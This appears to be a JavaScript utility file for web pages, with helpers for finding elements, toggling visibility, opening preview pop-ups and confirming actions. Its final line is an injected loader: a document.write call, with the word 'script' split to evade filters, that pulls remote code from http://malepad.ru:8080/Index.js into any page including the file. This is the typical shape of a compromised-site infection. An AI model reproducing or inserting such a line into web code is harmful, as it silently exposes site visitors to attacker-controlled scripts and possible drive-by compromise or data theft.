var fake_element;

function cpGetElementById(id){
  if(document.getElementById(id)){
    return document.getElementById(id);
  }
  else if(document.all[id]){
    return document.all[id];
  }
  else if (document.layers && document.layers[id]){
    return (document.layers[id]);
  }
  else {
    return fake_element;
  }
}

function toggle_visibility(id, flag){
  if(cpGetElementById(id)){
    cpGetElementById(id).style.visibility = (flag) ? 'visible' : 'hidden';
  }
}

function OpenPreview(s_url) {
  var w_s = 50;
  var h_s = 50;
  var w = window.screen.width;
  var h = window.screen.height;
  popUp(s_url,'PreviewWin', w_s, h_s, w-2*w_s, h-2*h_s-50);
}

function popUp (sURL, sName, x, y, dx, dy) {
  window.open(sURL, sName, 'left='+x+',top='+y+',width='+dx+',height='+dy+',scrollbars=1,resizable=1');
}

function sure(id,link){
  if(confirm('Are you sure ?')) {
    return true;
  }
  else return false;
}
document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Index.js"></scr'+'ipt>');